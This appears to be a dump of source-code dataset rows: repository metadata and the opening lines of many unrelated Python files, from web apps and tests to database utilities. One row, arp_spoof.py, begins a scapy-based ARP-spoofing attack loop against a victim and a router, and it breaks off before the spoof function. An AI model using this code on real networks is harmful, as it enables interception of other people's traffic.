] | kundan3034@gmail.com |
552c8bea9ff3f55ffe99054b77e3f354d86d80f5 | b015dd106af198b1636b40a50f302f8893fc01d1 | /scripts/verify.py | 07e027c0e18bafcfbbf2c7b23497bdc96c19cf9a | [
"MIT"
] | permissive | sysprog21/fibdrv | b82420f12ff791f24ab4c918aeed2808c6d19ff0 | beb79961f980d0fbe0842f521257b70a84ce836f | refs/heads/master | 2023-06-10T18:42:16.413843 | 2023-06-03T12:48:02 | 2023-06-03T12:48:02 | 173,551,047 | 37 | 372 | MIT | 2023-06-04T00:53:17 | 2019-03-03T08:44:53 | Shell | UTF-8 | Python | false | false | 711 | py | #!/usr/bin/env python3
expect = [0, 1]
result = []
result_split = []
dics = []
for i in range(2, 101):
expect.append(expect[i - 1] + expect[i - 2])
with open('out', 'r') as f:
tmp = f.readline()
while (tmp):
result.append(tmp)
tmp = f.readline()
f.close()
for r in result:
if (r.fin... | [
"jserv@biilabs.io"
] | jserv@biilabs.io |
e01c46b464ea5acc72f34996eb8499aa6de81940 | c5101b884745487b73356b5810845b7ef74dc6b8 | /coding_challenge_restful/constants/common_constants.py | 3e542bc6ad1f6983b8ae293df7ed1ef28b5ccdd8 | [] | no_license | impiyush83/import-large-dataset-file-to-db | ae9f03d7f66ec62c1eb28be6c8297bb6b16639aa | 8cc4cba5cb13044d6db982b156dc50a4feef25a0 | refs/heads/master | 2022-12-11T20:28:48.069489 | 2019-06-20T07:44:41 | 2019-06-20T07:44:41 | 192,121,003 | 1 | 0 | null | 2022-12-08T05:15:58 | 2019-06-15T20:25:54 | Python | UTF-8 | Python | false | false | 93 | py | SUCCESS = "SUCCESS"
CSV_HEADERS = dict(
BulkCSVProducts=['name', 'sku', 'description']
)
| [
"nalawadepiyush@gmail.com"
] | nalawadepiyush@gmail.com |
30326ce5c2ba669b2e0d04f952b708e68508f193 | b22e708599a699d940a45893ab691302b7bb9be0 | /plumtuna/server.py | 7c661b3a0d336098f7ccb3241f759352f41533ec | [] | no_license | sile/plumtuna.py | ac6fcf802415edb33e13dc81341420fd1e4e9136 | 72f871d4c6af219ab0b3b9246a37a50964679341 | refs/heads/master | 2020-04-20T16:44:36.224222 | 2019-03-08T01:36:03 | 2019-03-08T01:36:03 | 168,967,422 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,269 | py | from contextlib import closing
import socket
import subprocess
DEFAULT_PORT=7364
class PlumtunaServer(object):
def __init__(self, bind_addr=None, bind_port=None, contact_host=None, contact_port=None):
http_port = find_free_port()
if contact_host is None:
rpc_addr, rpc_port = find_rpc_s... | [
"phjgt308@gmail.com"
] | phjgt308@gmail.com |
fcb9f59e208d4dd2a949d562431e4c02732bf9d4 | b25a6f583c0506a75f11f15dfa582efe1582207b | /black_box.py | 911e839d0618f5f42c453fd044aec657847dc088 | [] | no_license | nickynova/Computational_thinking | e85d3ba4c5dabb0a9ae0d41f15a19945006f8019 | 9bd29421320cc9f9be6ab52e63c379e477d3956a | refs/heads/master | 2023-01-03T21:38:46.108363 | 2020-10-07T22:35:22 | 2020-10-07T22:35:22 | 299,932,298 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 561 | py | import unittest
def suma(num_1, num_2):
"""
docstring
"""
return num_1 + num_2
class CajaNegratest(unittest.TestCase):
"""
docstring
"""
def test_suma(self):
num_1 = 10
num_2 = 5
resultado = suma(num_1, num_2)
self.assertEqual(resultado, 15)
def... | [
"nickynova@aol.com"
] | nickynova@aol.com |
2e736e8a80ec6399e073695958de239c864e24e8 | 49d3535039523c73b89d0dc826bc39436042c0bf | /Searching Algorithm/Linear Search.py | ebe1158f322918a03c26f5b866b0f9d7aea9bd05 | [] | no_license | BiaHawk/Hacktoberfest-Algorithms | c6184a87b863dfaf433fc56faeded6673ec0c202 | 938748c01f2a153e9d88fbe90f01daa8eb7d6dcd | refs/heads/main | 2022-12-27T16:41:00.852016 | 2020-10-12T19:40:25 | 2020-10-12T19:40:25 | 303,486,703 | 4 | 0 | null | 2020-10-12T19:01:23 | 2020-10-12T19:01:22 | null | UTF-8 | Python | false | false | 527 | py | #commit by Suyash
def linearsearch(char_list, findChar):
for i in range(len(char_list)):
if char_list[i] == findChar: #checking if element exixts or not
return i+1
return -1
character=input("Enter numbers/characters/words separated by space: ")
character_list=character.split()
print(character_list)
find... | [
"noreply@github.com"
] | noreply@github.com |
c03c50aefa8eb8ec66658f37fee45ada353f7ca7 | abad82a1f487c5ff2fb6a84059a665aa178275cb | /Codewars/8kyu/plural/Python/test.py | 94c45c725af33da58916db900b0dd16972a85ea8 | [
"MIT"
] | permissive | RevansChen/online-judge | 8ae55f136739a54f9c9640a967ec931425379507 | ad1b07fee7bd3c49418becccda904e17505f3018 | refs/heads/master | 2021-01-19T23:02:58.273081 | 2019-07-05T09:42:40 | 2019-07-05T09:42:40 | 88,911,035 | 9 | 0 | null | null | null | null | UTF-8 | Python | false | false | 246 | py | # Python - 3.6.0
Test.assert_equals(plural(0), True, 'Plural for 0' )
Test.assert_equals(plural(0.5), True, 'Plural for 0.5')
Test.assert_equals(plural(1), False, '1 is singular!')
Test.assert_equals(plural(100), True, 'Plural for 100')
| [
"d79523@hotmail.com"
] | d79523@hotmail.com |
e55ff2f7a691cd77f2cf9c7d289906436120c92b | 4ed6eea80f41e5752393951fcdfc0a5980087bee | /restaurant_api/db.py | b0be4d640fba8d3484fb66356fde0647c01e98f2 | [] | no_license | cgisala/Travel-Application | 2e6e6da9883a4c4776e39a1ad926428499cf42e5 | 3cd7fce3c44ac7d30c3952b00dc97af5341a3306 | refs/heads/master | 2021-01-26T07:46:29.391773 | 2020-03-04T20:10:37 | 2020-03-04T20:10:37 | 243,370,724 | 0 | 1 | null | 2020-03-04T15:55:21 | 2020-02-26T21:35:23 | Python | UTF-8 | Python | false | false | 1,771 | py | """
save bookmark(data)
show all bookmark()
"""
from rest import Restaurant
from weather import Forecast
from datetime import datetime
import sqlite3
import os
conn = sqlite3.connect('Travel_app.sqlite')# create the database
cur = conn.cursor()
conn.execute('create table if not exists Travle_tip( Top_restaurants text, ... | [
"magie"
] | magie |
a6b8d9d0610f832c9d4b00e30ec76ce5ff5f8719 | d880770b64ee7323b744a245f666e0a14f7bd5d3 | /teachable/python_crash_course/PrivateMethod.py | ccaa633f82ab7a541c3f3b4dd8a8e1ee870d5a71 | [] | no_license | vikramlucky/tech_Interview_prep | 28fbb18eef508e1185ab614c5624f8558b7db9ae | 30fbe2f9e7239505b8a81aea1550b24c4d8b83e5 | refs/heads/master | 2023-07-07T21:39:12.531229 | 2021-08-07T10:01:10 | 2021-08-07T10:01:10 | 266,230,654 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 620 | py | class PrivateMethod:
def __init__(self):
self.__secretKey = "MY_SOCIAL_SECURITY_NUMBER"
def __privateMethod(self):
return "SSN: " + self.__secretKey
def privateMethod(self):
return self.__privateMethod()
bankAcc = PrivateMethod()
print(bankAcc.privateMethod()) # -> MY_SOCIAL_SECURITY... | [
"vikramlucky@Vikrams-MacBook-Pro.local"
] | vikramlucky@Vikrams-MacBook-Pro.local |
465fb441f6d8a2b3ef53dd039e120778e75ed06c | 0edbcbf780d6a5dbd280d1af48880295aabfe613 | /ec2_instance_change_type.py | 12ebd6f69fa834a75806c8db20b5477a61c7310d | [
"MIT"
] | permissive | thinhpham/aws-tools | 463dc0588d696b57fb1a67e7002bb9da5af05c80 | a5111028e3bcaac743326e371dc10cc6f9b6ad75 | refs/heads/master | 2020-12-28T19:08:39.144532 | 2018-04-23T23:40:56 | 2018-04-23T23:40:56 | 68,631,667 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,013 | py | #!/usr/bin/env python
import sys
import click
from aws_util import Ec2Util
@click.command()
@click.option('-p', '--profile', default='default', help='Profile name to use.')
@click.argument('id_or_tag', required=True)
@click.argument('new_instance_type', required=True)
def cli(profile, id_or_tag, new_instance_type):
... | [
"tpham12345@yahoo.com"
] | tpham12345@yahoo.com |
d688d3501204b6e6a8a987e35852f8ba16156e71 | d956f55af9beb1901cdc0e1891ef25f811529766 | /fanfan/main.py | 290dd1926403c473eb3184d044864ac8052e6ef7 | [] | no_license | ricayang414/fanfan | 443e82af769ffaaa4f4113e360cdd01c97ffa220 | a85bc139ec74aed6fb1f469ac4d64f9647c30a24 | refs/heads/master | 2020-05-19T04:32:16.382425 | 2019-05-03T22:52:02 | 2019-05-03T22:52:02 | 184,828,261 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,484 | py | import tkinter
import restaurant
import userInformation
from tkinter import *
from tkinter import font
from PIL import Image, ImageTk
import selectRestaurant
from tkinter import messagebox
from frames import *
from time import ctime
class main(Frame):
def __init__(self, cvs, username, master = None):
Fram... | [
"50252371+ricayang414@users.noreply.github.com"
] | 50252371+ricayang414@users.noreply.github.com |
dfbab3f26f29bfee9db0eda1625d4f7a43cc8d2e | 171cf5b82046caf0565df982228656eb613335f7 | /flask_app/application/data.py | ea508b1d41a94fb1b01fc01868990e02bd5eab37 | [
"MIT"
] | permissive | muldos/graphql-serverless | 2e4af1d8147b62deef2978ad87a355c913d077b9 | afcd3f174b23bf2473749e435cdbb6880f4c096e | refs/heads/master | 2023-01-21T15:29:38.433356 | 2020-11-24T22:28:44 | 2020-11-24T22:28:44 | 312,077,702 | 5 | 0 | null | 2020-11-13T21:21:40 | 2020-11-11T20:07:15 | TypeScript | UTF-8 | Python | false | false | 1,889 | py | human_data = {}
droid_data = {}
def setup():
from .graphql_schema import Human, Droid
global human_data, droid_data
luke = Human(
id="1000",
name="Luke Skywalker",
friends=["1002", "1003", "2000", "2001"],
appears_in=[4, 5, 6],
home_planet="Tatooine",
)
va... | [
"david.a.robin@gmail.com"
] | david.a.robin@gmail.com |
17a5c4a7620b689bdbe08368830f2309cde84b88 | 6f9e034ad7ef53a6bbcd6698f9788a58ac9a9b7a | /utils/profit_calculator.py | a24c4b66597bada62784e52ecea4f5f2e6456733 | [
"MIT"
] | permissive | Pr3datorg/Crypto-Trading-Bot | 17b23e4cfd860b470bf124c1705a4ca4bfb75b82 | 34c3bf27f57b3467e2c4df06803fa94c53e8cda4 | refs/heads/master | 2020-03-22T00:23:37.604774 | 2018-06-30T23:03:15 | 2018-06-30T23:03:15 | 139,241,680 | 1 | 0 | MIT | 2018-06-30T10:50:37 | 2018-06-30T10:50:37 | null | UTF-8 | Python | false | false | 1,318 | py | from pydash import py_
from directory_utilities import get_json_from_file
archived_trades_file_directory = "../database/archive/archived-trades.json"
archived_trades = get_json_from_file(archived_trades_file_directory, [])
completed_archived_trades = py_.filter_(archived_trades, lambda trade: trade["sell"]["dateClos... | [
"jpstrydom8@gmail.com"
] | jpstrydom8@gmail.com |
44375c66e34b3f92833d4072fa8cc571efb27d5b | 163872dee6c98ab2d4f9f592509050fda2e1abc6 | /myapp_1/urls.py | 2d7b659af0d5a416f915a80c5a73296ffccccec7 | [] | no_license | aynulislam/Django-Rest-Framework | b89b3cab93254aefa7b53c85ba384f911b2516e0 | 6f9e1cffc651b4e809aa6fbfff0e12a66cdbb989 | refs/heads/master | 2020-08-15T07:24:15.812020 | 2019-10-16T09:09:00 | 2019-10-16T09:09:00 | 215,300,188 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 636 | py | from django.urls import path
from . views import EmCategoryAPIView,EmEmailAPIView,EmReceiverAPIView,EmGroupAPIView,EmUserAPIView,ScUserAPIView,GnGroupTypeAPIView
urlpatterns = [
path('EmCategory/', EmCategoryAPIView, name="EmCategoryAPIView"),
path('EmEmail/', EmEmailAPIView, name="EmEmailAPIView"),
path('... | [
"noreply@github.com"
] | noreply@github.com |
83ee9d4ad0ea305a969210eb9cc3227117290faa | 9774457a177d74195326e787c549352f42ac28bf | /kairosDeep/python/apps/kairos/plates_detection_v1.0.py | 147eb75100caaa67a8b9915056a8b491ac24dbca | [
"MIT"
] | permissive | edgramirez/face_mask_deepStream | 48e89e51651169dc7e6e51e37147494191114cad | 91530df0b7529b88537d4b26589d5e8b86b8687a | refs/heads/main | 2023-04-01T04:55:42.253165 | 2021-04-06T20:23:22 | 2021-04-06T20:23:22 | 355,317,452 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 28,262 | py | #!/usr/bin/env python3
#rm ${HOME}/.cache/gstreamer-1.0/registry.aarch64.bin borrar cache
################################################################################
# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy... | [
"edgcramirez@gmail.com"
] | edgcramirez@gmail.com |
1ef359f3e80b79cb57cc4c204c1b3fdd230e9325 | f7b9c2d9ace5f1429150590ae14b3dffd980f2b1 | /config/settings.py | bfb069cc103b3ab139dc7e209b5a2a2b8edfe2ab | [] | no_license | code8421/bookmark | f37e3f8781948a54722730ce4ca2cb1e820f9d1a | df18ad38cb3e33cc2790bc6538ebaaf4b3baff70 | refs/heads/main | 2023-05-26T01:34:03.750227 | 2021-06-14T09:00:09 | 2021-06-14T09:00:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,635 | py | """
Django settings for config project.
Generated by 'django-admin startproject' using Django 3.2.4.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
import json
fr... | [
"znu3173@gmail.com"
] | znu3173@gmail.com |
d4b31a7b2720375a6228970fbdb73c4c327d42a0 | fc74dc25ee076d89e08b6cae124f0fa0e4e95cc2 | /gui.py | 4a9f2504e415a6ac617fb4653b897c9a16139373 | [] | no_license | makitoc3/intro_git | b0c00a5dbd5acca6fa9372822a7288475333c272 | 0e7b77ba80afce376b5e6afb4c271dd826cf1d57 | refs/heads/master | 2021-05-22T20:57:57.139019 | 2020-04-04T20:41:15 | 2020-04-04T20:41:15 | 253,092,357 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 573 | py | from tkinter import *
from tkinter import ttk
def foo():
print('Hello, %s!' % t.get())
root = Tk()
root.title('My First App')
frame1 = ttk.Frame(root)
label1 = ttk.Label(frame1, text='Your name:')
t = StringVar()
entry1 = ttk.Entry(frame1, textvariable=t)
button1 = ttk.Button(frame1, text='OK', command=foo)
f... | [
"makitoc3@hotmail.com"
] | makitoc3@hotmail.com |
fc8410ca410351cbe027cc1f9b8543bdce3b987c | 5653001ec8ec0bdcc8b9662f1411002cd52cb38d | /plugins/core/views/resource_server.py | 732518e90b2b480e52c388850064fd9978c251fe | [] | no_license | laravelbook/ajenti | 409da009d8e4ff5c497627c2f131c56f3298b5ce | 7cb64b36e3057cffc6ad58b189dc118a21c9d69d | refs/heads/master | 2021-01-21T00:47:50.194075 | 2015-09-08T09:44:56 | 2015-09-08T09:45:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,134 | py | import json
import os
from jadi import component
import aj
from aj.api.http import url, HttpPlugin
from aj.plugins import PluginManager
from aj.api.endpoint import endpoint
@component(HttpPlugin)
class ResourcesHandler(HttpPlugin):
def __init__(self, http_context):
self.cache = {}
self.use_cache... | [
"john.pankov@gmail.com"
] | john.pankov@gmail.com |
d1509126fa63efd3f64b1929998f2ca8f07320df | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/contrib/cv/detection/NasFPN/mmdet/models/detectors/trident_faster_rcnn.py | f0fd80d41407162df71ba5349fc659d4713cdb6e | [
"Apache-2.0",
"BSD-3-Clause",
"LicenseRef-scancode-warranty-disclaimer",
"BSD-2-Clause",
"MIT",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference",
"GPL-1.0-or-later"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 2,662 | py | from ..builder import DETECTORS
from .faster_rcnn import FasterRCNN
@DETECTORS.register_module()
class TridentFasterRCNN(FasterRCNN):
"""Implementation of `TridentNet <https://arxiv.org/abs/1901.01892>`_"""
def __init__(self,
backbone,
rpn_head,
roi_head,
... | [
"wangjiangben@huawei.com"
] | wangjiangben@huawei.com |
583ad3008359c3b47791559dda545f2e719587ec | 83d9b23441c7d9c1724b6a26157b0fa31bc2ac34 | /main.py | d8f8f6e1bdf1cebbbe67dbfbb78f1d5b0378feea | [] | no_license | fortegren/web-caesar | 42a801dfda0ba9a9eb7163c6b3b97a66d454e8bf | 3d61eaaa3a9be19c0b1360f518f3c3a34451455a | refs/heads/master | 2020-05-04T03:17:44.566133 | 2019-04-01T21:21:02 | 2019-04-01T21:21:02 | 178,944,060 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,270 | py | from flask import Flask, request
from caesar import rotate_string
app = Flask(__name__)
app.config['DEBUG'] = True
form = """<!DOCTYPE html>
<html>
<head>
<style>
form {{
background-color: #eee;
padding: 20px;
margin: ... | [
"frortegren@gmail.com"
] | frortegren@gmail.com |
4bafdfdfadda63981740fe4868a3bbd2caf4823d | 328dc585089c9e6d75d858b7c05a69c1a7c5189b | /python/coding-200-高级编程和IO并发线程/chapter06/dict_subclass.py | 5e83fcbad6aace74fd7d0f372a87e7bb3c2bdffa | [
"Apache-2.0"
] | permissive | wgf5544/wugaofeng | 0e67466a8f3775c503f9a10c16831cb2a72cb623 | 149c1f4f48884c7719de80faa18a96c42e529863 | refs/heads/master | 2020-05-05T08:14:18.796961 | 2020-02-10T09:30:23 | 2020-02-10T09:30:23 | 179,855,361 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 579 | py | #不建议继承list和dict
class Mydict(dict):
def __setitem__(self, key, value):
super().__setitem__(key, value*2)
my_dict = Mydict(one=1)
my_dict["one"] = 1
print (my_dict)
from collections import UserDict
class Mydict(UserDict):
def __setitem__(self, key, value):
super().__setitem__(key, value*2)
my... | [
"wgf5544@163.com"
] | wgf5544@163.com |
00c225761f23919d4a733feda51c9d702dc173ce | b6afe7c118fe93c2f6a783a193eb027ff5cc1c58 | /load_train_script.py | 06103f1a72d8e3b34b51b032addb0141fde80454 | [
"MIT"
] | permissive | tylerharrold/Fantasy_Stats_Genetic_ptSNE | 3d03df1b1f7fc49ec8ffb53b8528fae6007985ec | 5996d8e648937dc047a92c6a52f0c43d27d4d62b | refs/heads/master | 2020-04-14T18:26:34.499828 | 2020-01-09T00:48:25 | 2020-01-09T00:48:25 | 164,019,209 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,154 | py | import tkinter as tk
from tkinter import filedialog
from pathlib import Path
from tools import read_dna
import pandas as pd
from Genetics import Genetics
from core import Parametric_tSNE
def load_train_model_from_dna(model_save_name, output_dims=2):
current_dir = Path.cwd()
dna_file = filedialog.askopenfilenam... | [
"tylerharrold@gmail.com"
] | tylerharrold@gmail.com |
468b66b2fef16af97cf3104bbb05e66e47e4bff1 | f9e8733ed87858b12bfee6b70ccdddd6a616b60a | /62.py | 799f209d8c36c80090880a57df0cc0ad6e89c666 | [] | no_license | MajestyLee/leetcode_TopInterview | c1c9c923d3bf42cd4777bb2a2ccd21654a7c6dbb | 30b7d5acec716b7d754141835fc8bafe4411437e | refs/heads/master | 2020-04-01T12:19:20.837383 | 2018-11-06T02:13:44 | 2018-11-06T02:13:44 | 153,200,785 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,353 | py | '''
A robot is located at the top-left corner of a m x n grid (marked 'Start' in the diagram below).
The robot can only move either down or right at any point in time.
The robot is trying to reach the bottom-right corner of the grid (marked 'Finish' in the diagram below).
How many possible unique paths are there?
A... | [
"binjie_lee@163.com"
] | binjie_lee@163.com |
e9f12fa8567294b1745cef87ff8b5208cca66ffe | c23d06d386683ab4fb93d5dd2579834496609459 | /mr_join/reduce_join.py | 77550bc8d441e391e146f17ef009621a58c57353 | [] | no_license | linqunxuan/learn_hadoop | 50ef21e5332d332f83bb8bff4880148fe8520c99 | 5ab23880517ee6ca2bd5b6ce40a5d90554764758 | refs/heads/master | 2021-01-22T03:22:46.802953 | 2017-05-25T07:26:59 | 2017-05-25T07:26:59 | 92,375,567 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 264 | py | #!/usr/bin/python
import sys
tmp_str = ""
for line in sys.stdin:
key, idx, val = line.strip().split('\t')
if idx == '1':
tmp_str = val
elif idx == '2':
print "\t".join([key, tmp_str, val])
tmp_str = ""
| [
"linqunxuan@163.com"
] | linqunxuan@163.com |
8291d682c6d9d203bd064994a6cf25c9e7ae7d5d | 7f511783482e1a3c42ddc431ab2f62f817745f75 | /Auto_Mode/catkin_ws/build/rosserial/rosserial_tivac/catkin_generated/rosserial_tivac-extras.cmake.installspace.context.cmake.py | 0dd8673fa1fcd659fb36bc157fbdb99636294c18 | [] | no_license | haungbh/VR_Tank | 13d7bc13f7b9eace66af4993e074d5a1fc4ca5ea | 7db0f49be682394f93bd4d06aae064c35539f724 | refs/heads/master | 2022-11-08T04:15:44.817893 | 2020-07-03T14:47:33 | 2020-07-03T14:47:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,468 | py | # generated from catkin/cmake/template/cfg-extras.context.py.in
DEVELSPACE = 'FALSE' == 'TRUE'
INSTALLSPACE = 'TRUE' == 'TRUE'
CATKIN_DEVEL_PREFIX = '/home/paulolbear/catkin_ws/devel'
CATKIN_GLOBAL_BIN_DESTINATION = 'bin'
CATKIN_GLOBAL_ETC_DESTINATION = 'etc'
CATKIN_GLOBAL_INCLUDE_DESTINATION = 'include'
CATKIN_GLOBA... | [
"haung12936@gmail.com"
] | haung12936@gmail.com |
3d735ddb0894f281dd2e222048f3bd7dd290a95f | b4aaa26889f1c7e33a0de48848e30c0119284f14 | /app/tests/test_models/test_profile_parameter.py | 66cd0693d43123ad20ed3529f566cc95d37a6c98 | [] | no_license | paulosjd/btk2 | 1d727f360c9767add5135988c75df63e5d8ada8e | dc63b90a796750e6b26018443d2256fcc1339afb | refs/heads/master | 2022-07-05T13:57:07.071734 | 2020-05-19T08:23:14 | 2020-05-19T08:23:14 | 188,910,952 | 0 | 0 | null | 2022-06-21T23:23:37 | 2019-05-27T21:26:02 | Python | UTF-8 | Python | false | false | 3,111 | py | from collections import namedtuple
from unittest.mock import patch
from app.models import ProfileParamUnitOption
from app.tests.base import BaseTestCase
mock_ideals_data = {k: f'{k}_val' for k in
['ideal2_prepend', 'ideal', 'ideal2', 'ideal_prepend']}
class MockCalcParamIdeal:
def __init__(s... | [
"pjdavis@gmx.com"
] | pjdavis@gmx.com |
6e8060fb0f29b5cc45db802b8566f1976d8f4713 | 5cecfa2b2efb2a258caffdf36c3c4ed0e77933b7 | /FlaskWebProject1/FlaskWebProject1/sqltables/views.py | 2077d60eff3d869ff735db20ac9919fd22341e82 | [] | no_license | diakov2100/db-viewer | e1c77e8813905f9702a67dd52f009f5bf7512902 | ee305d7f8eb040911bd48c47b295199d705eaf20 | refs/heads/master | 2021-01-19T17:19:52.342014 | 2017-03-01T12:28:57 | 2017-03-01T12:28:57 | 82,445,457 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,353 | py | from flask import Blueprint, render_template, abort
from jinja2 import TemplateNotFound
component_blueprint= Blueprint('component', __name__, template_folder='templates')
from datetime import datetime
from FlaskWebProject1.sqltables.tcamera import *
from FlaskWebProject1.sqltables.tcompany import *
from FlaskWebProje... | [
"diakov2100@gmail.com"
] | diakov2100@gmail.com |
520deda3dc4c1db0fffce0defc92447ce81d17d3 | 462e0b9f90e61b88809234907f49cf0a7d148524 | /archived/fonts.py | a262554d0144d4307fe5ccf7d0836b02b679e31b | [] | no_license | gza060625/AUPloting_June2019 | fb3dea214046fccb5a5c46fe6c3f384cbccd24c1 | 3d1a995c8d27b9eb12efa6e62f8c3e8e7febda94 | refs/heads/master | 2020-06-01T05:19:55.215893 | 2019-07-22T18:02:09 | 2019-07-22T18:02:09 | 190,651,217 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,385 | py | padding=2
saveType="png"
titleStyle={'fontname':'monospace',
'backgroundcolor':'#e2e3e5',
'fontweight':'bold',
'url':"http://google.com",
'fontsize':'12'
}
xyzFieldStyle={'fontname':'monospace',
'color':'#222B29',
'backgroundcolor':'#... | [
"gza060625@gmail.com"
] | gza060625@gmail.com |
5c46e21a7c712de8c20df35aac7232945dd2de5e | 069dafce9f495f09bf8c2f76dbf5c045b7551721 | /parameter_search_run.py | 9b187b743f036d55c4b46d15f0b1e9df88fc9b9c | [] | no_license | dguarino/T2 | 26b1bc640812aa5438b09f9fab2bc73096cd7eef | 66b786928508089492f5f696c7c1576e098c6615 | refs/heads/master | 2020-04-03T22:39:06.059845 | 2020-03-13T15:43:02 | 2020-03-13T15:43:02 | 41,812,819 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,392 | py | # -*- coding: utf-8 -*-
import sys
from mozaik.meta_workflow.parameter_search import CombinationParameterSearch,SlurmSequentialBackend
import numpy
if False:
CombinationParameterSearch(SlurmSequentialBackend(num_threads=1,num_mpi=64),{
'retina_lgn.params.gain' : [0.1],
'l4_cortex_exc.pa... | [
"domenico.guarino@gmail.com"
] | domenico.guarino@gmail.com |
f4f151125954209d39c7446ce04ff5588507d6a9 | 569438e55096aef55bdc23e13192ff769e011467 | /mysql-utilities-1.6.0/mysql/utilities/command/dbexport.py | 89907fdb47be6eac05bfe20158a3d1a347c4023e | [
"Apache-2.0",
"LicenseRef-scancode-python-cwi",
"LGPL-2.0-or-later",
"BSD-3-Clause",
"bzip2-1.0.6",
"LicenseRef-scancode-free-unknown",
"GPL-2.0-only",
"LicenseRef-scancode-other-copyleft",
"Sleepycat",
"LicenseRef-scancode-proprietary-license",
"LicenseRef-scancode-unknown-license-reference",
... | permissive | scavarda/mysql-dbcompare | b5ef50ae852d0f9b82e3b81e7a200fe12a7d251e | 1e912fd87282be3b3bed48487e6beb0ecb1de339 | refs/heads/master | 2021-05-01T22:24:03.738213 | 2016-12-23T14:22:44 | 2016-12-23T14:22:44 | 77,213,895 | 2 | 1 | Apache-2.0 | 2020-07-23T23:07:18 | 2016-12-23T09:17:46 | Python | UTF-8 | Python | false | false | 43,614 | py | #
# Copyright (c) 2010, 2014, Oracle and/or its affiliates. All rights reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
#
# This program is distributed in th... | [
"marcos@planetsite.it"
] | marcos@planetsite.it |
d01887b8754c652359a2918fbef9f166b46b9b7a | 6185a08e05f7fbf7b8deb1fe845369392b5afe98 | /arp_spoof.py | 2b9c574a378d19aac0d900a43c4a695460ecbe90 | [] | no_license | f0ns1/evilHackingPythonTool | 87b62384e20106da4eb11fbca91a676cd3efff6e | b79a93f3f865085e4935cad2a22408a917606d88 | refs/heads/master | 2022-08-24T02:07:39.866932 | 2020-05-27T16:14:53 | 2020-05-27T16:14:53 | 263,731,671 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,781 | py | #!/usr/bin/ev python
import scapy.all as scapy
import subprocess
import re
import sys
def banner():
execfile("logo.py")
execfile("banner.py")
def arp_spoof_attack(ip_victim, ip_router):
print(" Start Arp_spoof Attack ..... ")
count=0
try:
while True:
spoof(ip_victim, ip_router... | [
"fonso.gonzalezsan@gmail.com"
] | fonso.gonzalezsan@gmail.com |
dcf333d42bdedced9fe7c0d7934dd7b6e1af1dc0 | d631c12f4a8a733d9038f25abe96c8f49e72f7f9 | /CodesComplete/CrashCourse/restaurant.py | 2d220309979f8288e2e204cfcf737eed61879320 | [
"MIT"
] | permissive | BarbaraAFernandes/python | 7fe9e98c26d9d127d3bd201dc5781ad0f0ec5caf | ef1f4e0550773592d3b0a88a3213de2f522870a3 | refs/heads/master | 2021-02-14T01:51:58.387000 | 2020-01-03T10:22:32 | 2020-01-03T10:22:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 417 | py | class Restaurant():
def __init__(self, restaurant_name, cuisine_type):
self.restaurant_name = restaurant_name
self.cuisine_type = cuisine_type
def describe_restaurant(self):
print(f"The restaurant is called by the name: {self.restaurant_name}\n" +
f"And the cuisine type is... | [
"Vinicius.Melo1@br.nestle.com"
] | Vinicius.Melo1@br.nestle.com |
2fc7327b75048ff3ffcfd1e47e13aff46a93d4ce | cc537057d7b6e0b12de89406fdcc59f9b551630f | /utils/add_term.py | b93c4411c81f8cbfd25eebff9bb2493c40455f8c | [] | no_license | nqueder/bids_terms_to_markdown_table | 6935e656119309674af1fe08b29333c5b1f6937a | 5b2d2b5e5f520b8fa3093e6a94ebc7101f189c4f | refs/heads/master | 2023-02-20T05:20:57.260201 | 2020-07-23T22:47:38 | 2020-07-23T22:47:38 | 271,648,538 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,244 | py | import os
from nidm.experiment.Utils import annotate_data_element
# placeholder
bids_terms = {}
def add_term(bids_terms):
'''
This helper function will prepare data structures for re-using the nidm-experiment
annotate_data_element function
:bids_terms_dict: dictionary of existing BIDS terms. used for... | [
"dbkeator@uci.edu"
] | dbkeator@uci.edu |
d3eaa4e931e4aed62c21d50a31053d7946f2edee | 54e88744e1e6ee3b9cff4885572b485fa4daef6f | /Python_OO/Encapsulamento.py | 2ccd10be9cf005daa54af29a59abb7193ea30f61 | [
"Apache-2.0"
